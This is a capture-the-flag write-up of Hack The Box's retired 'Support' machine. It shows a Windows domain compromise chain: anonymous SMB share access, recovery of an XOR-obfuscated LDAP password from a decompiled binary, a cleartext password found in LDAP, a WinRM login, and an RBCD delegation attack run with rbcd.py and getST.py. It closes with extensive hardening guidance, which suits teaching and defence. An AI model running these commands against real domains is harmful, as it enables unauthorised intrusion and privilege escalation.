Support

Hack The Box · app.hackthebox.com/machines/Support · retired

Machine rank #12220 Windows Easy Active Directory ● Completed

TL;DR A chain of small misconfigurations ending in full domain compromise: an anonymous SMB share leaked a .NET tool → decompiling it recovered an "obfuscated" LDAP bind password → LDAP exposed a user password in cleartext → WinRM foothold → GenericAll over the DC enabled a Resource-Based Constrained Delegation (RBCD) attack → SYSTEM. No CVE, no exploit — every step was a bad practice.

01Recon

nmap -sC -sV -oN nmap/support 10.10.11.174
# 53 DNS, 88 Kerberos, 139/445 SMB, 389/636 LDAP, 5985 WinRM — classic Windows DC

02Foothold

Anonymous SMB share

An SMB share allowed anonymous listing and exposed a .NET binary, UserInfo.exe:

smbclient -N -L //10.10.11.174/          # enumerate shares anonymously
smbclient -N //10.10.11.174/support-tools
# get UserInfo.exe

Decompile → recover the LDAP bind password

Decompiling the binary (dnSpy / ILSpy) revealed a hardcoded LDAP bind credential that was "protected" with a hardcoded XOR key + base64 — obfuscation, not encryption. Reversing the routine recovered the plaintext bind password in seconds.

LDAP leaks a cleartext user password

Using the recovered bind account to query LDAP, a user's password sat in the info attribute in cleartext:

ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w '<recovered-pw>' \
  -b 'DC=support,DC=htb' '(objectClass=user)' info

user.txt<redacted>

evil-winrm -i 10.10.11.174 -u support -p '<ldap-info-pw>'   # WinRM foothold

03Privilege Escalation — RBCD

BloodHound showed the foothold user's group held GenericAll over the Domain Controller computer object. That's enough to stage a Resource-Based Constrained Delegation attack: create a computer account, set it as an allowed delegate on the DC, then request a service ticket impersonating a Domain Admin.

# add a controlled computer account (MachineAccountQuota default = 10)
# set RBCD on the DC, then impersonate Administrator via S4U
rbcd.py -delegate-to 'DC$' -from 'FAKE01$' -action write support.htb/support
getST.py -spn 'cifs/dc.support.htb' -impersonate Administrator support.htb/FAKE01$
# use the ticket -> DA

root.txt<redacted>

04Defensive takeaways

Kill anonymous SMB access — it leaked the initial binary.
Obfuscation ≠ encryption — never hardcode secrets in binaries; XOR+base64 is trivially reversed.
Don't store passwords in directory attributes (info, description).
Audit DACLs on Tier 0 assets — GenericAll on a DC is game over.
Set MachineAccountQuota to 0 to break RBCD at the source.
Defence in depth: the attacker must win every step — the defender only has to win one.

◆If this were my environment

The domain fell through anonymous file exposure, embedded credentials, cleartext directory data and excessive control over the DC object. I would prioritize directory hygiene and Tier 0 ACL review.

Priority controls

Disable anonymous SMB access and inventory shares; publish only approved packages with access logging and integrity validation.
Move LDAP bind credentials to a managed secret store, rotate them automatically and never place passwords in description or info attributes.
Remove non-admin GenericAll/GenericWrite rights from DC computer objects and monitor changes to resource-based constrained delegation.
Set MachineAccountQuota to the business-required minimum, use LAPS for local accounts and separate administrative identities by tier.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Microsoft Securing Active Directory Tiering, privileged account protection, patching, monitoring and recovery guidance for AD DS. Microsoft Windows audit policy recommendations Baseline and stronger audit settings for workstations, servers and directory objects. Microsoft SMB security hardening Signing, encryption, guest access, dialect controls and defenses against credential relay. Microsoft Windows LAPS Automatic rotation and protected storage of unique local administrator passwords. Microsoft Windows Server 2025 baseline Role-aware OSConfig baseline covering firewalling, credentials, SMB signing, auditing and tamper resistance. CIS CIS Benchmarks Consensus configuration baselines for operating systems, servers, containers and applications. DISA STIG Document Library DoD hardening checklists for Windows, Linux, Active Directory, IIS, databases and application servers. OWASP Secrets Management Cheat Sheet Centralized storage, injection, scoping, auditing and rotation of credentials and keys.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups